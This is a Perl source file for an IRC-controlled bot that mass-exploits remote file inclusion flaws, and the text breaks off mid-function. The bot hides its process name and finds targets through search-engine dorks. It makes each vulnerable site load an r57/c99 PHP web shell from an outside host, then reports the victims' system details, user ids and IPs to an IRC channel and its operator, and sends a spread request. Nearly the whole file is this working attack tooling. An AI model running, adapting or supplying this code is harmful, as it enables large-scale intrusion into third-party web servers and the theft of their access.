#################################
# MrNETi                       ##
# Author: Tc-Team.com          ##
# TC-CREW     production       ##
# We Are: MrNETi ^ ColdFire    ##
#################################


$process      = "/sbin/mingetty tty1"; ## process
my $printcmd  = "http://www.amdgchoir.com/gallery/r57.txt?"; ## r57;c99 shell
my $id        = "http://landleben.bieswang.de/cache/id.txt??"; ## ID is private !! 
my $spread    = "?"; ## spread
my $ircserver = "irc.darksin.it"; ## ur irc server
my $start     = "!scan"; ## command to start scan
my $port      = "6667"; ## irc server port
my $nickname  = "[o0o]" . int( rand(99) ) . ""; ## nickname
my $admin     = "n4sty"; ## msg prv
my $channel   = "#TeRmInAtOr"; ## chan
my $chanres   = "#TeRmInAtOr"; ## channel print result
my $verz      = "ATL // Fams";

print "\n";
print "  RFI Start !!\n";
print "  MrFams By pwn3d\n";
print "  Release $verz\n";
print "  Now join $ircserver:$port\n";
print "  $channel and $chanres\n";
print "  Fams Security Clan ;)\n\n";

use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
require LWP;
$|++;

my $pid = fork;
exit if $pid;
$0 = "$process" . "\0" x 16;
my $dsp = IO::Socket::INET->new(
    PeerAddr => "$ircserver",
    PeerPort => "$port",
    Proto    => "tcp"
) or die "Can not connect on server!\n";
$dsp->autoflush(1);
print $dsp "NICK $nickname\r\n";
print $dsp "USER Fams 8 *  : &verz \r\n";
print $dsp "JOIN $channel\r\n";
print $dsp "PRIVMSG $channel :4!scan15 bug dork & 1!12G4o13o12g9l4e 15bug dork\r\n";
sleep(1);
print $dsp "NICK $nickname\r\n";
print $dsp "USER priv8 8 *  : $verz \r\n";
print $dsp "JOIN $chanres\r\n";
print $dsp "PRIVMSG $chanres :4Alb-Team;)\r\n";
print $dsp "PRIVMSG $chanres :4Created By KoRn\r\n";
while ( $line = <$dsp> ) {

    $line =~ s/\r\n$//;
    if ( $line =~ /^PING \:(.*)/ ) {
        print "PONG :$1";
        print $dsp "PONG :$1";
    }

    if ( $line =~ /PRIVMSG $channel :!help/ ) {
        sleep(1);
        display( $dsp,"PRIVMSG $channel :7,12Good Luck ..");
        display( $dsp,"PRIVMSG $channel :7Help !Scan bug dork & 1!12G4o8o12g9l4e 7bug dork");
        display( $dsp,
            "PRIVMSG $channel :7 HelP Info?? Command is : !info"
        );
    }

    if ( $line =~ /PRIVMSG $channel :!info/ ) {
        my $sysos  = `uname -sr`;
        my $uptime = `uptime`;
        if ( $sysos =~ /freebsd/i ) {
            $sysname = `hostname`;
            $memory =
`expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`;
            $swap = `$toploc | grep -i swap | cut -f2 -d" " | cut -f1 -d"M"`;
            chomp($memory);
            chomp($swap);
        }

        elsif ( $sysos =~ /linux/i ) {
            $sysname = `hostname -f`;
            $memory  = `free -m |grep -i mem | awk '{print \$2}'`;
            $swap    = `free -m |grep -i swap | awk '{print \$2}'`;
            chomp($swap);
            chomp($memory);
        }
        else {
            $sysname = "No Found";
            $memory  = "No found";
            $swap    = "No Found";
        }
        $uptime  =~ s/\n//g;
        $sysname =~ s/\n//g;
        $sysos   =~ s/\n//g;
        sleep(1);
        display( $dsp,"PRIVMSG $channel :7[4I7nfo] G3o...");
        display( $dsp,"PRIVMSG $channel :7[4I7nfo] IrcServer/Port: $ircserver - $port");
        display( $dsp,"PRIVMSG $channel :7[4I7nfo] Hostname: $sysos ");
        display( $dsp,"PRIVMSG $channel :7[4I7nfo] Process/PID: $admin - $$");
        display( $dsp,"PRIVMSG $channel :7[4I7nfo] Uptime: $uptime" );
        display( $dsp,"PRIVMSG $channel :7[4I7nfo] Memory/Swap: $memory - $swap");
        display( $dsp,"PRIVMSG $channel :7[4I7nfo] Admin:16 $admin");     
		}

    if ( $line =~ /PRIVMSG $channel :!id/ )
    {    ## ©© Script made by princeteam1979 . Don't remove this comment !
        my $testid = $id;
        my $req    = HTTP::Request->new( GET => $testid );
        my $ua     = LWP::UserAgent->new();
        $ua->timeout(5);
        my $response = $ua->request($req);
        if ( $response->is_success ) {
            my $re = $response->content;
            if ( $re =~ /<\?php/ ) {
                sleep(1);
                display( $dsp,"PRIVMSG $channel :4,1Id Work");
				}
        }
        else {
            sleep(1);
            display( $dsp,"PRIVMSG $channel :7[4I7nfo] ID Is Dead ..Scan OUT.!!!");
            display( $dsp,"PRIVMSG $channel :7[4I7nfo] 7Scan OUT 10 secs!!");
            sleep(10);
            display( $dsp,"PRIVMSG $channel :7[4I7nfo] Exiting..." );
            display( $dsp, "QUIT" );
        }
    }

    if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
        if ( my $pid = fork ) {
            waitpid( $pid, 0 );
        }
        else {
            if (fork) {
                exit;
            }
            else {
                my $bug       = $1;
                my $dork      = $2;
                my $contatore = 0;
                my %hosts;
                sleep(1);
                display( $dsp,"PRIVMSG $channel :7,1Ok... Start 1,4 $dork");
                my @google = &googlet($dork);
                push( my @tot, @google );
                my @puliti = &unici(@tot);
                display( $dsp,"PRIVMSG $channel :7[3$channel7] 12G4o4o12g9l4e 12[]8[]4[] ".scalar(@tot)."3 for exploited... 4 ".scalar(@puliti)."3 =>  4$dork");
                my $uni = scalar(@puliti);

                foreach my $site (@puliti) {
                    $contatore++;
                    if ( $contatore % 100 == 0 ) {
                    }
                    if ( $contatore == $uni - 1 ) {
                    display( $dsp,"PRIVMSG $channel :7[3$channel7] 12G4o4o12g9l4e 4FINISHED 7for 4$dork 12[]8[]4[]");
                    }
                    my $test  = "http://".$site.$bug.$id."?";
                    my $print = "http://".$site.$bug.$printcmd."?";
                    my $req   = HTTP::Request->new( GET => $test );
                    my $ua    = LWP::UserAgent->new();
                    $ua->timeout(5);
                    my $response = $ua->request($req);
                    if ( $response->is_success ) {
                        my $re = $response->content;
                        if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x );
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Result...");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Uptime: $up");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $admin   :4[12G4o4o12g9l4e4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Id: $id1");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Pwd: $pwd1");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Server Name: $name1");
                                display( $dsp,"PRIVMSG $admin   :4[12G4o4o12g9l4e4] Safe: $print");
                                display( $dsp,"PRIVMSG $chanres :4[12G4o4o12g9l4e4] Safe Mode OFF: $print");
                                my $test2 ="http://".$site.$bug.$spread."?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);
                            }
                        }
                        elsif ( $re =~ /princeteam1979/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x );
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Result...");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Safe Mode ON: $print");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4] Server Name $name1");
                                display( $dsp,"PRIVMSG $chanres :4[12G4o4o12g9l4e4] Safe Mode ON: $print");
								my $test2 ="http://".$site.$bug.$spread."?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);

								}
                        }
                    }
                }
            }
            exit;
        }
    }

	if ( $line =~ /PRIVMSG $channel :!google\s+(.*?)\s+(.*)/ ) {
        if ( my $pid = fork ) {
            waitpid( $pid, 0 );
        }
        else {
            if (fork) {
                exit;
            }
            else {
                my $bug       = $1;
                my $dork      = $2;
                my $contatore = 0;
                my %hosts;
     
                my @google = &googlet($dork);
                push( my @tot, @google );
                my @puliti = &unici(@tot);
                display( $dsp,"PRIVMSG $channel :7[3ScaN7] 12G4o4o12g9l4e PASS 12[]8[]4[]  ".scalar(@tot)."3 for exploited.... 4".scalar(@puliti)."3 => 4$dork");
                my $uni = scalar(@puliti);

                foreach my $site (@puliti) {
                    $contatore++;
                    if ( $contatore % 100 == 0 ) {
                    }
                    if ( $contatore == $uni - 1 ) {
                        display( $dsp,"PRIVMSG $channel :7[3ScaN7] 12G4o8o12g9l4e PASS FINISHED 7for 4$dork 12[]8[]4[]");						}
                    my $test  = "http://".$site.$bug.$id."?";
                    my $print = "http://".$site.$bug.$printcmd."?";
                    my $req   = HTTP::Request->new( GET => $test );
                    my $ua    = LWP::UserAgent->new();
                    $ua->timeout(5);
                    my $response = $ua->request($req);
                    if ( $response->is_success ) {
                        my $re = $response->content;
                        if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x );
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Result...");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Uptime: $up");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Uname -a: $un");
                                display( $dsp,"PRIVMSG $admin   :4[12G4o4o12g9l4e4 PASS] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Id: $id1");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Pwd: $pwd1");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Server Name: $name1");
                                display( $dsp,"PRIVMSG $admin   :4[12G4o4o12g9l4e4 PASS] Safe: $print");
                                display( $dsp,"PRIVMSG $chanres :4[12G4o4o12g9l4e4 PASS] Safe Mode OFF: $print");
                                my $test2 ="http://".$site.$bug.$spread."?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);
                            }
                        }
                        elsif ( $re =~ /princeteam1979/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x );
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Result...");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Safe Mode ON: $print");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[12G4o4o12g9l4e4 PASS] Server Name $name1");
                                display( $dsp,"PRIVMSG $chanres :4[12G4o4o12g9l4e4 PASS] Safe Mode ON: $print");
                                my $test2 ="http://".$site.$bug.$spread."?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);

							}
                        }
                    }
                }
            }
            exit;
        }
    }

    if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
        if ( my $pid = fork ) {
            waitpid( $pid, 0 );
        }
        else {
            if (fork) {
                exit;
            }
            else {
                my $bug       = $1;
                my $dork      = $2;
                my $contatore = 0;
                my %hosts;
                my @alltheweb = &alltheweb($dork);
                push( my @tot, @alltheweb );
                my @puliti = &unici(@tot);
                 display( $dsp,"PRIVMSG $channel :7[3$channel7] 12A7l8l3THE12W9e4B 12[]8[]4[] ".scalar(@tot)."3 for exploited... 4 ".scalar(@puliti)."3 =>  4$dork");
				 my $uni = scalar(@puliti);
				
                foreach my $site (@puliti) {
                    $contatore++;
                    if ( $contatore % 100 == 0 ) {
                    }
                    if ( $contatore == $uni - 1 ) {
                    display( $dsp,"PRIVMSG $channel :7[3$channel7] 12A7l8l3THE12W9e4B 4FINISHED 7for 4$dork 12[]8[]4[]");
                    }
                    my $test  = "http://".$site.$bug.$id."?";
                    my $print = "http://".$site.$bug.$pritcmd."?";
                    my $req   = HTTP::Request->new( GET => $test );
                    my $ua    = LWP::UserAgent->new();
                    $ua->timeout(5);
                    my $response = $ua->request($req);
                    if ( $response->is_success ) {
                        my $re = $response->content;
                        if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x );
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Result...");
                                display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Uptime: $up");
                                display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Uname -a: $un");
                                display( $dsp,"PRIVMSG $admin   :4[12A7l8l3THE12W9e4B] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Id: $id1");
                                display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Pwd: $pwd1");
                                display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Server Name: $name1");
                                display( $dsp,"PRIVMSG $admin   :4[12A7l8l3THE12W9e4B] Safe: $print");
                                display( $dsp,"PRIVMSG $chanres :4[12A7l8l3THE12W9e4B] Safe Mode OFF: $print");
                                my $test2 ="http://".$site.$bug.$spread."?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);
                            }
                        }
                        elsif ( $re =~ /princeteam1979/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x );
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Result...");
                                display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Safe Mode ON: $print");
                                display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[12A7l8l3THE12W9e4B] Server Name $name1");
                                display( $dsp,"PRIVMSG $chanres :4[12A7l8l3THE12W9e4B] Safe Mode ON: $print");
                                my $test2 ="http://".$site.$bug.$spread."?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);

								}
                        }
                    }
                }
            }
            exit;
        }
    }

    if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
        if ( my $pid = fork ) {
            waitpid( $pid, 0 );
        }
        else {
            if (fork) {
                exit;
            }
            else {
                my $bug       = $1;
                my $dork      = $2;
                my $contatore = 0;
                my %hosts;
                my @uol = &uolsub($dork);
                push( my @tot, @uol );
                my @puliti = &unici(@tot);
                 display( $dsp,"PRIVMSG $channel :7[3$channel7] 7U3O7L 12[]8[]4[] ".scalar(@tot)."3 for exploited... 4 ".scalar(@puliti)."3 =>  4$dork");
				 my $uni = scalar(@puliti);
                foreach my $site (@puliti) {
                    $contatore++;
                    if ( $contatore % 100 == 0 ) {
                    }
                    if ( $contatore == $uni - 1 ) {
                    display( $dsp,"PRIVMSG $channel :7[3$channel7] 7U3O7L 4FINISHED 7for 4$dork 12[]8[]4[]");
                    }
                    my $test  = "http://".$site.$bug.$id."?";
                    my $print = "http://".$site.$bug.$printcmd."?";
                    my $req   = HTTP::Request->new( GET => $test );
                    my $ua    = LWP::UserAgent->new();
                    $ua->timeout(5);
                    my $response = $ua->request($req);
                    if ( $response->is_success ) {
                        my $re = $response->content;
                        if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x );
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Result...");
                                display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Uptime: $up");
                                display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $admin   :4[7U3O7L4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Id: $id1");
                                display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Pwd: $pwd1");
                                display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Server Name: $name1");
                                display( $dsp,"PRIVMSG $admin   :4[7U3O7L4] Safe: $print");
                                display( $dsp,"PRIVMSG $chanres :4[7U3O7L4] Safe Mode OFF: $print");
								my $test2 ="http://".$site.$bug.$spread."?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);
                            }
                        }
                        elsif ( $re =~ /princeteam1979/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x );
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Result...");
                                display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Safe Mode ON: $print");
                                display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[7U3O7L4] Server Name $name1");
                                display( $dsp,"PRIVMSG $chanres :4[7U3O7L4] Safe Mode ON: $print");
                                my $test2 ="http://".$site.$bug.$spread."?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);

                            }
                        }
                    }
                }
            }
            exit;
        }
    }

    if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
        if ( my $pid = fork ) {
            waitpid( $pid, 0 );
        }
        else {
            if (fork) {
                exit;
            }
            else {
                my $bug       = $1;
                my $dork      = $2;
                my $contatore = 0;
                my %hosts;
                my @altavista   = &altavista($dork);
                push( my @tot, @allist, @alldeist, @allistus );
                my @puliti = &unici(@tot);
                display( $dsp,"PRIVMSG $channel :7[3$channel7] 7Al13tav3ista 12[]8[]4[] ".scalar(@tot)."3 for exploited... 4 ".scalar(@puliti)."3 =>  4$dork");
				my $uni = scalar(@puliti);

                foreach my $site (@puliti) {
                    $contatore++;
                    if ( $contatore % 100 == 0 ) {
                    }
                    if ( $contatore == $uni - 1 ) {
                    display( $dsp,"PRIVMSG $channel :7[3$channel7] 7Al13tav3ista 4FINISHED 7for 4$dork 12[]8[]4[]");
                    }
                    my $test  = "http://".$site.$bug.$id."?";
                    my $print = "http://".$site.$bug.$printcmd."?";
                    my $req   = HTTP::Request->new( GET => $test );
                    my $ua    = LWP::UserAgent->new();
                    $ua->timeout(5);
                    my $response = $ua->request($req);
                    if ( $response->is_success ) {
                        my $re = $response->content;
                        if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x );
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Result...");
                                display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Uptime: $up");
                                display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $admin   :4[7Al13tav3ista4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Id: $id1");
                                display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Pwd: $pwd1");
                                display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Server Name: $name1");
                                display( $dsp,"PRIVMSG $admin   :4[7Al13tav3ista4] Safe: $print");
                                display( $dsp,"PRIVMSG $chanres :4[7Al13tav3ista4] Safe Mode OFF: $print");
                                my $test2 ="http://".$site.$bug.$spread."?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);
                            }
                        }
                        elsif ( $re =~ /princeteam1979/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x);
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Result...");
                                display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Safe Mode ON: $print");
                                display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[7Al13tav3ista4] Server Name $name1");
                                display( $dsp,"PRIVMSG $chanres :4[7Al13tav3ista4] Safe Mode ON: $print");
                                  my $test2 ="http://".$site.$bug.$spread."?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);

                          }
                        }
                    }
                }
            }
            exit;
        }
    }

    if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
        if ( my $pid = fork ) {
            waitpid( $pid, 0 );
        }
        else {
            if (fork) {
                exit;
            }
            else {
                my $bug       = $1;
                my $dork      = $2;
                my $contatore = 0;
                my %hosts;
                my @searchlist = &search($dork);
                my @search2    = &searchs($dork);
                push( my @tot, @searchlist, @search2 );
                my @puliti = &unici(@tot);
                display( $dsp,"PRIVMSG $channel :7[3$channel7] 4S6E7A12R4C3H 12[]8[]4[] ".scalar(@tot)."3 for exploited... 4 ".scalar(@puliti)."3 =>  4$dork");
                my $uni = scalar(@puliti);

                foreach my $site (@puliti) {
                    $contatore++;
                    if ( $contatore % 100 == 0 ) {
                    }
                    if ( $contatore == $uni - 1 ) {
                    display( $dsp,"PRIVMSG $channel :7[3$channel7] 4S6E7A12R4C3H 4FINISHED 7for 4$dork 12[]8[]4[]");
                    }
                    my $test  = "http://".$site.$bug.$id."?";
                    my $print = "http://".$site.$bug.$printcmd."?";
                    my $req   = HTTP::Request->new( GET => $test );
                    my $ua    = LWP::UserAgent->new();
                    $ua->timeout(5);
                    my $response = $ua->request($req);
                    if ( $response->is_success ) {
                        my $re = $response->content;
                        if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x );
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Result...");
                                display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Uptime: $up");
                                display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $admin   :4[4S6E7A12R4C3H4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Id: $id1");
                                display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Pwd: $pwd1");
                                display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Server Name: $name1");
                                display( $dsp,"PRIVMSG $admin   :4[4S6E7A12R4C3H4] Safe: $print");
                                display( $dsp,"PRIVMSG $chanres :4[4S6E7A12R4C3H4] Safe Mode OFF: $print");
                                my $test2 ="http://" . $site . $bug . $spread . "?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);
                            }
                        }
                        elsif ( $re =~ /princeteam1979/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x );
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Result...");
                                display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Safe Mode ON: $print");
                                display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[4S6E7A12R4C3H4] Server Name $name1");
                                display( $dsp,"PRIVMSG $chanres :4[4S6E7A12R4C3H4] Safe Mode ON: $print");
                                my $test2 ="http://".$site.$bug.$spread."?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);

								}
                        }
                    }
                }
            }
            exit;
        }
    }

    if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
        if ( my $pid = fork ) {
            waitpid( $pid, 0 );
        }
        else {
            if (fork) {
                exit;
            }
            else {
                my $bug       = $1;
                my $dork      = $2;
                my $contatore = 0;
                my %hosts;
                my @mlist = &msn($dork);
                push( my @tot, @mlist );
                my @puliti = &unici(@tot);
                display( $dsp,"PRIVMSG $channel :7[3$channel7] 7M4S7N 12[]8[]4[] ".scalar(@tot)."3 for exploited... 4 ".scalar(@puliti)."3 =>  4$dork"); 
				my $uni = scalar(@puliti);
                foreach my $site (@puliti) {
                    $contatore++;
                    if ( $contatore % 100 == 0 ) {
                    }
                    if ( $contatore == $uni - 1 ) {
                    display( $dsp,"PRIVMSG $channel :7[3$channel7] 7M4S7N 4FINISHED 7for 4$dork 12[]8[]4[]");
                    }
                    my $test  = "http://".$site.$bug.$id."?";
                    my $print = "http://".$site.$bug.$printcmd."?";
                    my $req   = HTTP::Request->new( GET => $test );
                    my $ua    = LWP::UserAgent->new();
                    $ua->timeout(5);
                    my $response = $ua->request($req);
                    if ( $response->is_success ) {
                        my $re = $response->content;
                        if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x );
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Result...");
                                display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Uptime: $up");
                                display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $admin   :4[7M4S7N4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Id: $id1");
                                display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Pwd: $pwd1");
                                display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Server Name: $name1");
                                display( $dsp,"PRIVMSG $admin   :4[7M4S7N4] Safe: $print");
                                display( $dsp,"PRIVMSG $chanres :4[7M4S7N4] Safe Mode OFF: $print"); 
								my $test2 ="http://".$site.$bug.$spread."?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);
                            }
                        }
                        elsif ( $re =~ /princeteam1979/ ) {
                            my $hs = geths($print);
                            $hosts{$hs}++;
                            if ( $hosts{$hs} == "1" ) {
                                $x = os($test);
                                 ( $type, $space ) = split( /\,/, $x );
                                sleep(4);
                                display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Result...");
                                display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Safe Mode ON: $print");
                                display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Uname -a: $un");
                                display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Server Ip: $ip1");
                                display( $dsp,"PRIVMSG $channel :4[7M4S7N4] Server Name $name1");
                                display( $dsp,"PRIVMSG $chanres :4[7M4S7N4] Safe Mode ON: $print");
                                 my $test2 ="http://".$site.$bug.$spread."?";
                                my $reqz = HTTP::Request->new( GET => $test2 );
                                my $ua = LWP::UserAgent->new();
                                my $response = $ua->request($reqz);
 }
                        }
                    }
                }
            }
            exit;
        }
    }

    if ( $line =~ /PRIVMSG $channel :$start\s+(.*?)\s+(.*)/ ) {
        if ( my $pid = fork ) {
            waitpid( $pid, 0 );
        }
        else {
            if (fork) {
                exit;
            }
            else {
                my $bug       = $1;
                my $dork      = $2;
